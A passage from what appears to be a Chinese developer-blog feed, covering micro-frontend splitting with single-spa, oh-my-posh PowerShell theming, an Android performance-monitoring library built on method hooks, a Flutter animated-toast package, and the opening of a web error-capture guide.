第二种方式则要简单许多,并且开发体验也会好很多。通常我们都有开发环境。我们可以直接在线上开发环境的 import-map 开一个口,利用 import-map-overrides 这个工具把线上的 import-map 对应的那个 APP 地址覆盖成本地地址。这时线上通过 import-map 去寻找这个 APP 的时候就会直接请求你的本地某个地址,然后线上运行的代码其实就已经是你本地的代码了,可以无缝与各种依赖开发。

你可能会觉得有安全问题,但其实这个工具可以做一些配置,比如只在本地和某一个域名下才打开这个口子,在别的地方都不开放这个后门。

实际拆分

problem

problem

讲了这么多,终于开始上手了,但是这个世界上有一句名话叫做理想很丰满,现实很骨感。当你兴致勃勃准备好了一切计划,现实一般都不会让你如愿。我们这些看起来都还不错的计划有一部分被金主爸爸暂时搁置了,有一部分由于设计不妥开发体验不佳也被改造了。

太贵了

成本永远是和金主爸爸谈判绕不开的话题,我们新的架构设计在单体前端的基础上增加了许多东西:

  • 多 repo(当然这个不算钱,也就没啥阻碍,但是最终也没有用多 repo 的方案,这个后面再聊
  • 多 pipeline
  • 多部署资源(每一个 APP 使用单独的 S3
  • 多出来的 import map service

以前 10 块钱就能干完的活,你这么一搞我得出 100 块了吧,你这么玩我的钱包很难办啊

金主爸爸如是说。这种情况下我们就需要和金主爸爸谈判,为什么这些东西是必要的,为什么我们需要加这么多资源。但项目的问题在于,我们没时间谈判了,所以决定采取“架构降级”:

  • 先暂时用一条 pipeline 来 build 我们的 app,在下一期项目有足够证据的时候切分 pipeline

    • 这一决定在后来验证是完全错误的,设想一下一个内存只有 1G 的 agent,需要 build 一个有 5 个 APP 的前端项目
    • 同时由于金主爸爸的钱包问题,我们项目只有一个 agent,请想象一下我们的日常开发hhhhh
  • 先暂时将所有 app 部署到同一个地方,以文件夹分隔,如果一段时间后发现能满足需求,就先保持原状

  • 每次 build 生成一份 import map,不单独维护 import map 资源,当团队相互影响时再寻求拆分时机

repo 拆分问题

我们一开始的设想是一个单独的 APP 拆分为一个单独的 repo,真正上手的时候仔细一想,有必要吗?

这让我回想起了一期项目时后端的微服务 repo,由于是一期项目,不同微服务之间的调用需要 setup,所以大多数时候本地都打开了三个以上的 Intellij,加上乱七八糟的其他应用,不得不说对 16G 内存的 Macbook 是一个考验。

回到前端这边,极有可能我们在日常的开发过程中会频繁抽取/更改公用代码库,也就意味着我们需要频繁提交更改,更新版本,然后才能使用,想想都不想做了。

再者,目前两个团队的体量其实还不必如此细致的拆分

有必要吗 - 繁琐的开发流程 - 多个本地 idea

公用代码难以维护 - 不同repo 不同更改 - ts类型引用问题

跨业务页面拆分问题

最初的设想是一条业务线是一个单独的 APP,一些跨业务的页面(也就是每一个业务都会有的页面,比如 User Account Management)也会被单独抽取一个 APP。

我们也真的这么做了,然后小伙伴们就戴上了痛苦面具:

  • “BA 说这个页面是统一的,这个业务的改动,那个业务也要改。” “抽!”
  • “BA 说这个新的页面要独立,所有新功能要在所有业务中生效。” “抽!”
  • ......

“这个公共页面的逻辑跟那边的逻辑是一样的,我们是 copy 一份?” “......”

这样的策略导致我们的项目中存在大量 APP,而这些 APP 仔细一想好像没必要啊。增加 build 成本的同时也增加了我们自己的开发和维护成本,这拆的本末倒置了,于是我们做了一个改进 - 将所有公共页面塞进了一个 APP 中。

这个方案咋一听怪怪的,但是真的这么做了以后发现真香。所有的改动都会在所有的业务生效,不同的业务用不同的权限限制,大家维护同意份代码。等一下,你刚刚不是说不想大家维护同一份代码怕冲突吗?

这里的情况恰恰相反,所有的改动和需求都需要在所有地方生效,这样的方式我们就不用维护多份代码,而且也不会造成冲突 - 因为需求方的需求是单向的,如果有冲突,那就是需求冲突了,需要金主爸爸自己内部去掰头了。

可能有的小伙伴会说,怎么不试试后端拆分方式,使用 DDD 来指导拆分呢?巧了么不是,一开始我们就是按照后端 DDD 的方式来指导拆分的,然后就发生了这些问题,至少在我们的实践过程中,微服务的拆分方式不能照搬到前端来。

CSS 冲突问题

这是我们遇到的另一个比较严重的问题。我们在项目中使用了 Material UI,其中的 CSS 使用的是 CSS-in-JS 的方式,又因为有一套自己的 class name 生成规则,在没有控制好 scope 的情况下,多个 APP 的样式名冲突了,导致了严重的互相影响。

这虽然不是 single-spa 的问题,但是 single-spa 也提供了一些解决方案,包括 JS lib 和 CSS 的隔离问题,这些方案可以轻易地在官网或者 github issue 里面搜索到,这里就不过多解释了。解决的关键在于使用不同的 JS 或者 CSS 方案要做好相应的隔离。

写在最后

以上大概就是我们在拆分微前端过程中遇到的还记得住的事情了,从这次拆分中给我最大的益处其实不是技术上的提升,而是让我明白了做项目的两个关键点:

  • 所有事情不会原封不动按照你的计划执行,越大的事情越是这样,及时考虑突发事件,灵活应变,不要拘泥于设计,基于现实改变计划才是可行之策。
  • 架构的演进应该逐步推进,稳步前行,没有必要在一次架构演进中考虑好未来的所有情况,先不说你能不能考虑周全,谁又能说未来的情况不会发生改变呢,不要以现在的情况去揣度未来的情景,过好当下,灵活设计,提前预防未来可能发生的状况,准备好plan B即可。
原文:https://juejin.cn/post/7007774421502935054
收起阅读 »

配置一个好看的PowerShell

工作学习生活中不免要经常用到 PowerShell ,但是那深蓝色的背景实在让人想吐槽几句。今天我们就来美化一下它,几十种花里胡哨的主题任你选择~准备首先我们要下载 Windows Terminal,打开微软商店搜索或者在Gith...
继续阅读 »

工作学习生活中不免要经常用到 PowerShell ,但是那深蓝色的背景实在让人想吐槽几句。

今天我们就来美化一下它,几十种花里胡哨的主题任你选择~

image-20211017111042177

准备

  1. 首先我们要下载 Windows Terminal,打开微软商店搜索或者在Github搜索下载即可:

    image-20211017111722102

  2. Win11后,WSL又迎来了质的飞跃,你甚至可以直接在文件管理中看到它:

    image-20211017111555327

  3. 想修改 Windows Terminal 透明亚克力背景以及字体样式颜色也可以看我的上篇文章。

插一句,可以尝试一下新的 PowerShell 是跨平台的,挺好用

安装及修改

先贴出Oh My Posh官方文档

  1. 首先在命令行分别输入以下命令,中途询问输入Y确认即可:

    Install-Module oh-my-posh -Scope CurrentUser -SkipPublisherCheck
    Install-Module posh-git -Scope CurrentUser

  2. 直接来修改配置文件:

    notepad $PROFILE

  3. 会提示你新建一个文件,直接复制粘贴,然后保存退出重新启动即可。

    Import-Module posh-git
    Import-Module oh-my-posh
    Set-PoshPrompt -Theme agnosterplus

  4. 你可以通过 Get-PoshThemes 来查看所有可用主题,再次修改配置文件中第三行内容即可:

    image-20211017112633530

一些提示

  1. 你打开后可能会有些图标显示不出来,那是因为你的字体不支持,你可以下载Nerd Fonts ,或者下载官方推荐的Meslo LGM NF,使用字体需要修改Windows Terminal的设置文件,具体可以看我的上篇文章,我这里使用的是"MesloLGS NF"。

  2. 选择主题也可以直接输入 Set-PoshPrompt -Theme 主题名

  3. 这个主题在VScode中也可以适配显示,在设置中搜索 Integrated:font,修改字体即可:

    image.png

  4. 显示出来是这样的:

    image.png

  5. 暂时想不出来更多了,有问题可以评论然后我再补充~

原文:https://juejin.cn/post/7019878578703564807
收起阅读 »

不会 Android 性能优化?你还差一个开源库!

简介开源库的地址是:幸苦各位能给个小小的 star 鼓励下。UI 线程 block 检测。App 的 FPS 检测。线程的创建和启动监控以及线程池的创建监控。IPC (进程间通讯)监控。实时通过 logcat 打印检测到的问题。保存检测到的信息到文件。提供上报...
继续阅读 »

简介

由于本人工作需要,需要解决一些性能问题,虽然有 ProfilerSystrace 等工具,但是无法实时监控,多少有些不方便,于是计划写一个能实时监控性能的小工具。经过学习大佬们的文章,最终完成了这个开源的性能实时检测库。初步能达到预期效果,这里做个记录,算是小结了。

开源库的地址是:

github.com/XanderWang/…

幸苦各位能给个小小的 star 鼓励下。

这个性能检测库,可以检测以下问题:

  • UI 线程 block 检测。

  • App 的 FPS 检测。

  • 线程的创建和启动监控以及线程池的创建监控。

  • IPC (进程间通讯)监控。

同时还实现了以下功能:

  • 实时通过 logcat 打印检测到的问题。

  • 保存检测到的信息到文件。

  • 提供上报信息文件接口。

接入指南

1 在 APP 工程目录下面的 build.gradle 添加如下内容。

dependencies {
 // 基础依赖,必须添加
 debugImplementation 'io.github.xanderwang:performance:0.3.1'
 releaseImplementation 'io.github.xanderwang:performance-noop:0.3.1'

 // hook 方案封装,必须添加
 debugImplementation 'io.github.xanderwang:hook:0.3.1'

 // 以下是 hook 方案选择一个就好了。如果运行报错,就换另外一个,如果还是报错,就提个 issue
 // SandHook 方案,推荐添加。如果运行报错,可以替换为 epic 库。
 debugImplementation 'io.github.xanderwang:hook-sandhook:0.3.1'

 // epic 方法。如果运行报错,可以替换为 SandHook。
 // debugImplementation 'io.github.xanderwang:hook-epic:0.3.1'
}

2 APP 工程的 Application 类新增类似如下初始化代码。

Java 初始化示例

  private void initPERF(final Context context) {
   final PERF.LogFileUploader logFileUploader = new PERF.LogFileUploader() {
     @Override
     public boolean upload(File logFile) {
       return false;
    }
  };
   PERF.init(new PERF.Builder()
      .checkUI(true, 100) // 检查 ui lock
      .checkIPC(true) // 检查 ipc 调用
      .checkFps(true, 1000) // 检查 fps
      .checkThread(true) // 检查线程和线程池
      .globalTag("test_perf") // 全局 logcat tag ,方便过滤
      .cacheDirSupplier(new PERF.IssueSupplier<File>() {
         @Override
         public File get() {
           // issue 文件保存目录
           return context.getCacheDir();
        }
      })
      .maxCacheSizeSupplier(new PERF.IssueSupplier<Integer>() {
         @Override
         public Integer get() {
           // issue 文件最大占用存储空间
           return 10 * 1024 * 1024;
        }
      })
      .uploaderSupplier(new PERF.IssueSupplier<PERF.LogFileUploader>() {
         @Override
         public PERF.LogFileUploader get() {
           // issue 文件上传接口
           return logFileUploader;
        }
      })
      .build());
}

kotlin 示例

  private fun doUpload(log: File): Boolean {
   return false
}

 private fun initPERF(context: Context) {
   PERF.init(PERF.Builder()
      .checkUI(true, 100)// 检查 ui lock
      .checkIPC(true) // 检查 ipc 调用
      .checkFps(true, 1000) // 检查 fps
      .checkThread(true)// 检查线程和线程池
      .globalTag("test_perf")// 全局 logcat tag ,方便过滤
      .cacheDirSupplier { context.cacheDir } // issue 文件保存目录
      .maxCacheSizeSupplier { 10 * 1024 * 1024 } // issue 文件最大占用存储空间
      .uploaderSupplier { // issue 文件的上传接口实现
         PERF.LogFileUploader { logFile -> doUpload(logFile) }
      }
      .build()
  )
}

主要更新记录

  • 0.3.1 新增给 ImageView 设置比实际控件尺寸大的图片检测

  • 0.3.0 修改依赖库发布方式为 MavenCentral

  • 0.2.0 线程耗时的监控,同时可以监控线程优先级(setPriority)的改变。

  • 0.1.12 线程创建的监控,加入 thread name 信息收集。同时接入 startup 库做必要的初始化,以及调整 multi dex 的时候,配置文件找不到的问题。

  • 0.1.11 优化 hook 方案的封装,通过 SandHook 开源库,可以按照 IPC 的耗时时间长短来检测。

  • 0.1.10 FPS 的检测时间间隔从默认 2s 调整为 1s,同时支持自定义时间间隔。

  • 0.1.9 优化线程池创建的监控。

  • 0.1.8 初版发布,完成基本的功能。

不建议直接在线上使用这个库,在编写这个库,测试 hook 的时候,在不同的机器和 rom 上,会有不同的问题,这里建议先只在线下自测使用这个检测库。

原理介绍

UI 线程 block 检测原理

主要参考了 AndroidPerformanceMonitor 库的思路,对 UI 线程的 Looper 里面处理 Message 的过程进行监控。

具体做法是,在 Looper 开始处理 Message 前,在异步线程开启一个延时任务,用于后续收集信息。如果这个 Message 在指定的时间段内完成了处理,那么在这个 Message 被处理完后,就取消之前的延时任务,说明 UI 线程没有 block 。如果在指定的时间段内没有完成任务,说明 UI 线程有 block 。此时,异步线程可以执行刚才的延时任务。如果我们在这个延时任务里面打印 UI 线程的方法调用栈,就可以知道 UI 线程在做什么了。这个就是 UI 线程 block 检测的基本原理。

但是这个方案有一个缺点,就是无法处理 InputManager 的输入事件,比如 TV 端的遥控按键事件。通过对按键事件的调用方法链进行分析,发现最终每个按键事件都调用了 DecorView 类的 dispatchKeyEvent 方法,而非 Looper 的处理 Message 流程。所以 AndroidPerformanceMonitor 库是无法准确监控 TV 端应用 UI block 的情况。针对 TV 端应用按键处理,需要找到一个新的切入点,这个切入点就是刚刚的 DecorView 类的 dispatchKeyEvent 方法。

那如何介入 DecorView 类的 dispatchKeyEvent 方法呢?我们可以通过 epic 库来 hook 这个方法的调用。hook 成功后,我们可以在 DecorView 类的 dispatchKeyEvent 方法调用前后都接收到一个回调方法,在 dispatchKeyEvent 方法调用前我们可以在异步线程执行一个延时任务,在 dispatchKeyEvent 方法调用后,取消这个延时任务。如果 dispatchKeyEvent 方法耗时时间小于指定的时间阈值,延时任务在执行前被取消,可以认为没有 block ,此时移除了延时任务。如果 dispatchKeyEvent 方法耗时时间大于指定的时间阈值说明此时 UI 线程是有 block 的。此时,异步线程可以执行这个延时任务来收集必要的信息。

以上就是修改后的 UI 线程 block 的检测原理了,目前做的还比较粗糙,后续计划考虑参考 AndroidPerformanceMonitor 打印 CPU 、内存等更多的信息。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: UI BLOCK
  msg: UI BLOCK
  create time: 2021-01-13 11:24:41
  trace:
  java.lang.Thread.sleep(Thread.java:-2)
  java.lang.Thread.sleep(Thread.java:442)
  java.lang.Thread.sleep(Thread.java:358)
  com.xander.performance.demo.MainActivity.testANR(MainActivity.kt:49)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

FPS 检测的原理

FPS 检测的原理,利用了 Android 的屏幕绘制原理。这里简单说下 Android 的屏幕绘制原理。

系统每隔 16 ms 就会发送一个 VSync 信号。 如果应用注册了这个 VSync 信号,就会在 VSync 信号到来的时候,收到回调,从而开始准备绘制。如果准备顺利,也就是 CPU 准备数据、GPU 栅格化等,如果这些任务在 16 ms 之内完成,那么下一个 VSync 信号到来前就可以绘制这一帧界面了。就没有掉帧,界面很流畅。如果在 16 ms 内没准备好,可能就需要更多的时间这个画面才能显示出来,在这种情况下就发生了丢帧,如果丢帧很多就卡顿了。

检测 FPS 的原理其实挺简单的,就是通过一段时间内,比如 1s,统计绘制了多少个画面,就可以计算出 FPS 了。那如何知道应用 1s 内绘制了多少个界面呢?这个就要靠 VSync 信号监听了。

在开始准备绘制前,往 UI 线程的 MessageQueue 里面放一个同步屏障,这样 UI 线程就只会处理异步消息,直到同步屏障被移除。刷新前,应用会注册一个 VSync 信号监听,当 VSync 信号到达的时候,系统会通知应用,让应用会给 UI 线程的 MessageQueue 里面放一个异步 Message *。由于之前 MessageQueue 里有了一个*同步屏障,所以后续 UI 线程会优先处理这个异步 Message 。这个异步 Message 做的事情就是从 ViewRootImpl 开始我们熟悉的 measurelayoutdraw

我们可以通过 Choreographer 注册 VSync 信号监听。16ms 后,我们收到了 VSync 的信号,给 MessageQueue 里面放一个同步消息,我们不做特别处理,只是做一个计数,然后监听下一次的 VSync 信号,这样,我们就可以知道 1s 内我们监听到了多少个 VSync 信号,就可以得出帧率。

为什么监听到的 VSync 信号数量就是帧率呢?

由于 Looper 处理 Message 是串行的,就是一次只处理一个 Message ,处理完了这个 Message 才会处理下一个 Message 。而绘制的时候,绘制任务 Message 是异步消息,会优先执行,绘制任务 Message 执行完成后,就会执行上面说的 VSync 信号计数的任务。如果忽略计数任务的耗时,那么最后统计到的 VSync 信号数量可以粗略认为是某段时间内绘制的帧数。然后就可以通过这段时间的长度和 VSync 信号数量来计算帧率了。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_FPSTool: APP FPS is: 54 Hz
com.xander.performace.demo W/demo_FPSTool: APP FPS is: 60 Hz
com.xander.performace.demo W/demo_FPSTool: APP FPS is: 60 Hz

线程的创建和启动监控以及线程池的创建监控

线程和线程池的监控,主要是监控线程和线程池在哪里创建和执行的,如果我们可以知道这些信息,我们就可以比较清楚线程和线程池的创建和启动时机是否合理。从而得出优化方案。

一个比较容易想到的方法就是,应用代码里面的所有线程和线程池继承同一个线程基类和线程池基类。然后在构造函数和启动函数里面打印方法调用栈,这样我们就知道哪里创建和执行了线程或者线程池。

让应用所有的线程和线程池继承同一个基类,可以通过编译插件来实现,定制一个特殊的 Transform ,通过 ASM 编辑生成的字节码来改变继承关系。但是,这个方法有一定的上手难度,不太适合新手。

除了这个方法,我们还有另外一种方法,就是 hook 。通过 hook 线程或者线程池的构造方法和启动方法,我们就可以在线程或者线程池的构造方法和启动方法的前后做一些切片处理,比如打印当前方法调用栈等。这个也就是线程和线程池监控的基本原理。

线程池的监控没有太大难度,一般都是 ThreadPoolExecutor 的子类,所以我们 hook 一下 ThreadPoolExecutor 的构造方法就可以监控线程池的创建了。线程池的执行主要就是 hookThreadPoolExecutor 类的 execute 方法。

线程的创建和执行的监控方法就稍微要费些脑筋了,因为线程池里面会创建线程,所以这个线程的创建和执行应该和线程池绑定的。需要找到线程和线程池的联系,之前看到一个库,好像是通过线程和线程池的 ThreadGroup 来建立关联的,本来我也计划按照这个关系来写代码的,但是我发现,我们有的小伙伴写的线程池的 ThreadFactory 里面创建线程并没有传入ThreadGroup ,这个就尴尬了,就建立不了联系了。经过查阅相关源码发现了一个关键的类,ThreadPoolExecutor 的内部类Worker ,由于这个类是内部类,所以这个类实际的构造方法里面会传入一个外部类的实例,也就是 ThreadPoolExecutor 实例。同时, Worker 这个类还是一个 Runnable 实现,在 Worker 类通过 ThreadFactory 创建线程的时候,会把自己作为一个 Runnable 传给 Thread 所以,我们通过这个关系,就可以知道 WorkerThread 的关联了。这样,我们通过 ThreadPoolExecutorWorker 的关联,以及 WorkerThread 的关联,就可以得到 ThreadPoolExecutor 和它创建的 Thread 的关联了。这个也就是线程和线程池的监控原理了。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: THREAD
  msg: THREAD POOL CREATE
  create time: 2021-01-13 11:23:47
  create trace:
  com.xander.performance.StackTraceUtils.list(StackTraceUtils.java:39)
  com.xander.performance.ThreadTool$ThreadPoolExecutorConstructorHook.afterHookedMethod(ThreadTool.java:158)
  de.robv.android.xposed.DexposedBridge.handleHookedArtMethod(DexposedBridge.java:265)
  me.weishu.epic.art.entry.Entry64.onHookObject(Entry64.java:64)
  me.weishu.epic.art.entry.Entry64.referenceBridge(Entry64.java:239)
  java.util.concurrent.Executors.newSingleThreadExecutor(Executors.java:179)
  com.xander.performance.demo.MainActivity.testThreadPool(MainActivity.kt:38)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

IPC(进程间通讯)监控的原理

进程间通讯的具体原理,也就是 Binder 机制,这里不做详细的说明,也不是这个框架库的原理。

检测进程间通讯的方法和前面检测线程的方法类似,就是找到所有的进程间通讯的方法的共同点,然后对共同点做一些修改或者说切片,让应用在进行进程间通讯的时候,打印一下调用栈,然后继续做原来的事情。就达到了 IPC 监控的目的。

那如何找到共同点,或者说切片,就是本节的重点。

进程间通讯离不开 Binder ,需要从 Binder 入手。

写一个 AIDL demo 后发现,自动生成的代码里面,接口 A 继承自 IInterface 接口,然后接口里面有个内部抽象类 Stub 类,继承自 Binder ,同时实现了接口 A 。这个 Stub 类里面还有一个内部类 Proxy ,实现了接口 A ,并持有一个 IBinder 实例。

我们在使用 AIDL 的时候,会用到 Stub 类的 asInterFace 的方法,这个方法会新建一个 Proxy 实例,并给这个 Proxy 实例传入 IBinder , 或者如果传入的 IBinder 实例如果是接口 A 的话,就强制转化为接口 A 实例。一般而言,这个 IBinder 实例是 ServiceConnection 的回调方法里面的实例,是 BinderProxy 的实例。所以 Stub 类的 asInterFace 一般会创建一个 Proxy 实例,查看这个 Proxy 接口的实现方法,发现最终都会调用 BinderProxytransact 方法,所以 BinderProxytransact 方法是一个很好的切入点。

本来我也是计划通过 hookBinderProxy 类的 transact 方法来做 IPC 的检测的。但是 epic 库在 hook 含有 Parcel 类型参数的方法的时候,不稳定,会有异常。由于暂时还没能力解决这个异常,只能重新找切入点。最后发现 AIDL demo 生成的代码里面,除了调用了 调用 BinderProxytransact 方法外,还调用了 ParcelreadException 方法,于是决定 hook 这个方法来切入 IPC 调用流程,从而达到 IPC 监控的目的。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: IPC
  msg: IPC
  create time: 2021-01-13 11:25:04
  trace:
  com.xander.performance.StackTraceUtils.list(StackTraceUtils.java:39)
  com.xander.performance.IPCTool$ParcelReadExceptionHook.beforeHookedMethod(IPCTool.java:96)
  de.robv.android.xposed.DexposedBridge.handleHookedArtMethod(DexposedBridge.java:229)
  me.weishu.epic.art.entry.Entry64.onHookVoid(Entry64.java:68)
  me.weishu.epic.art.entry.Entry64.referenceBridge(Entry64.java:220)
  me.weishu.epic.art.entry.Entry64.voidBridge(Entry64.java:82)
  android.app.IActivityManager$Stub$Proxy.getRunningAppProcesses(IActivityManager.java:7285)
  android.app.ActivityManager.getRunningAppProcesses(ActivityManager.java:3684)
  com.xander.performance.demo.MainActivity.testIPC(MainActivity.kt:55)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

作者:xanderwang
来源:https://juejin.cn/post/6916531888576266254

收起阅读 »

丢掉丑陋的 toast,会动的 toast 更有趣!

前言我们通常会用 toast(也叫吐司)来显示提示信息,例如网络请求错误,校验错误等等。大多数 App的 toast 都很简单,简单的半透明黑底加上白色文字草草了事,比如下面这种. 说实话,这种toast 的体验很糟糕。假设是新手用户,他们并不知道 toas...
继续阅读 »



前言

我们通常会用 toast(也叫吐司)来显示提示信息,例如网络请求错误,校验错误等等。大多数 App的 toast 都很简单,简单的半透明黑底加上白色文字草草了事,比如下面这种.

说实话,这种toast 的体验很糟糕。假设是新手用户,他们并不知道 toast 从哪里出来,等出现错误的时候,闪现出来的时候,可能还没抓住内容的重点就消失了(尤其是想截屏抓错误的时候,更抓狂)。这是因为一个是这种 toast 一般比较小,而是动效非常简单,用来提醒其实并不是特别好。怎么破?本篇来给大家介绍一个非常有趣的 toast 组件 —— motion_toast

motion_toast 介绍

从名字就知道,motion_toast 是支持动效的,除此之外,它的颜值还很高,下面是它的一个示例动图,仔细看那个小闹钟图标,是在跳动的哦。这种提醒效果比起常用的 toast 来说醒目多了,也更有趣味性。 下面我们看看 motion_toast 的特性:

  • 可以通过动画图标实现动效;

  • 内置了成功、警告、错误、提醒和删除类型;

  • 支持自定义;

  • 支持不同的主题色;

  • 支持 null safety;

  • 心跳动画效果;

  • 完全自定义的文本内容;

  • 内置动画效果;

  • 支持自定义布局(LTR 和 RTL);

  • 自定义持续时长;

  • 自定义展现位置(居中,底部或顶部);

  • 支持长文本显示;

  • 自定义背景样式;

  • 自定义消失形式。

可以看到,除了能够开箱即用之外,我们还可以通过自定义来丰富 toast 的样式,使之更有趣。

示例

介绍完了,我们来一些典型的示例吧,首先在 pubspec.yaml 中添加依赖motion_toast: ^2.0.0(最低Dart版本需要2.12)。

最简单用法

只需要一行代码搞定!其他参数在 success 的命名构造方法中默认了,因此使用非常简单。

MotionToast.success(description: '操作成功!').show(context);

其他内置的提醒

内置的提醒也支持我们修改默认参数进行样式调整,如标题、位置、宽度、显示位置、动画曲线等等。

// 错误提示
MotionToast.error(
 description: '发生错误!',
 width: 300,
 position: MOTION_TOAST_POSITION.center,
).show(context);

//删除提示
MotionToast.delete(
 description: '已成功删除',
 position: MOTION_TOAST_POSITION.bottom,
 animationType: ANIMATION.fromLeft,
 animationCurve: Curves.bounceIn,
).show(context);

// 信息提醒(带标题)
MotionToast.info(
 description: '这是一条提醒,可能会有很多行。toast 会自动调整高度显示',
 title: '提醒',
 titleStyle: TextStyle(fontWeight: FontWeight.bold),
 position: MOTION_TOAST_POSITION.bottom,
 animationType: ANIMATION.fromBottom,
 animationCurve: Curves.linear,
 dismissable: true,
).show(context);

不过需要注意的是,一个是 dismissable 参数只对显示位置在底部的有用,当在底部且dismissabletrue 时,点击空白处可以让 toast 提前消失。另外就是显示位置 positionanimationType 是存在某些互斥关系的。从源码可以看到底部显示的时候,animationType不能是 fromTop,顶部显示的时候 animationType 不能是 fromBottom

void _assertValidValues() {
 assert(
  (position == MOTION_TOAST_POSITION.bottom &&
           animationType != ANIMATION.fromTop) ||
      (position == MOTION_TOAST_POSITION.top &&
           animationType != ANIMATION.fromBottom) ||
      (position == MOTION_TOAST_POSITION.center),
);
}

自定义 toast

自定义其实就是使用 MotionToast 构建一个实例,其中,descriptioniconprimaryColor参数是必传的。自定义的参数很多,使用的时候建议看一下源码注释。

MotionToast(
 description: '这是自定义 toast',
 icon: Icons.flag,
 primaryColor: Colors.blue,
 secondaryColor: Colors.green[300],
 descriptionStyle: TextStyle(
   color: Colors.white,
),
 position: MOTION_TOAST_POSITION.center,
 animationType: ANIMATION.fromRight,
 animationCurve: Curves.easeIn,
).show(context);

下面对自定义的一些参数做一下解释:

  • icon:图标,IconData 类,可以使用系统字体图标;

  • primaryColor:主颜色,也就是大的背景底色;

  • secondaryColor:辅助色,也就是图标和旁边的竖条的颜色;

  • descriptionStyle:toast 文字的字体样式;

  • title:标题文字;

  • titleStyle:标题文字样式;

  • toastDuration:显示时长;

  • backgroundType:背景类型,枚举值,共三个可选值,transparentsolidlighter,默认是 lighterlighter其实就是加了一层白色底色,然后再将原先的背景色(主色调)加上一定的透明度叠加到上面,所以看起来会泛白。

  • onClose:关闭时回调,可以用于出现多个错误时依次展示,或者是关闭后触发某些动作,如返回上一页。

总结

看完之后,是不是觉得以前的 toast 太丑了?用 motion_toast来一个更有趣的吧。另外,整个 motion_toast 的源码并不多,有兴趣的可以读读源码,了解一下toast 的实现也是不错的。

作者:岛上码农
来源:https://juejin.cn/post/7042301322376265742

收起阅读 »

web错误处理/错误捕获方案

前言花了一些时间整理完善项目的错误处理/错误捕获能力,借此进行一次总结。为了方便阅读,先概括下大概的思路:// 错误处理,避免报错导致程序无法继续执行1、自行对重要步骤进行容灾和try...catch...finally等处理;  2、通过打包工具(...
继续阅读 »



前言

花了一些时间整理完善项目的错误处理/错误捕获能力,借此进行一次总结。为了方便阅读,先概括下大概的思路:

// 错误处理,避免报错导致程序无法继续执行
1、自行对重要步骤进行容灾和try...catch...finally等处理;  
2、通过打包工具(我用的是vite,自己实现的是rollup的plugin)将绝大部分语句包裹try...catch语句,并补全错误信息(文件名,方法名);  

// 错误捕获
1、onerror 事件捕获全局错误;  
2、unhandledrejection 捕获异步错误;  
3、框架层面错误监听(e.g. Vue.config.errorHandler, react ErrorBoundary);  
3、axios等tcp/ip错误处理;  
4、静态资源加载异常捕获(window.addEventListener('error',(event)=>{});  

// 错误分析,补全错误信息
1、通过sourcemap解析错误信息,定位到具体错误代码;

错误处理

我实现的插件是rollup-plugin-trycatch,这个方案不算成熟:

涉及到业务代码的translate,单元测试覆盖面可能不足(目前仅处理几种类型函数,欢迎pr);

如果项目比较稳定,测试覆盖率较高,不建议使用此方案。

rollup-plugin-trycatch

跟webpack有些区别,rollup不分plugin和loader,只通过plugin来实现插件。主要流程如下:
1、创建rollup插件;
2、通过rollup的acorn插件将code转为ast语法树;
3、通过stack-utils插件将当前文件/文件名行数等信息添加到err里;
3、通过estree-walker遍历语法树,将相关的语句(函数)增加wrap节点;
4、通过escodegen插件将语法树转为code;
功能:
1、给所有函数(FunctionDeclaration, FunctionExpression, ArrowFunctionExpression, ObjectMethod)包一层try...catch捕获异常;
2、try...catch错误补全(增加报错信息,原文件名,方法名等错误分析,但仍不够精确,未能定位到具体报错的语句);
具体内容和使用方式可以查看源码,里面有vite的使用demo;

错误捕获

错误捕获的难点在于两个方面:
1、如何全面的捕获到错误;
2、如果通过错误分析到具体问题(一般来说线上代码都是打包压缩过的,如何通过打包压缩后的代码定位到问题);

全面(尽可能)的错误捕获

在我们尝试错误捕获之前,需要先了解有哪些错误,分三类(这里其实有很多分类的方式,我尝试用我自己的分类方式来解读):

1、远程资源加载错误;

window.addEventListener('error', (err) => {
let _url = ''

// 远程资源加载异常
if(err.target instanceof HTMLElement) {
  if(err.target instanceof HTMLAnchorElement) {
    _url = err.target.href
  } else {
    // maybe other htmlelement has src property
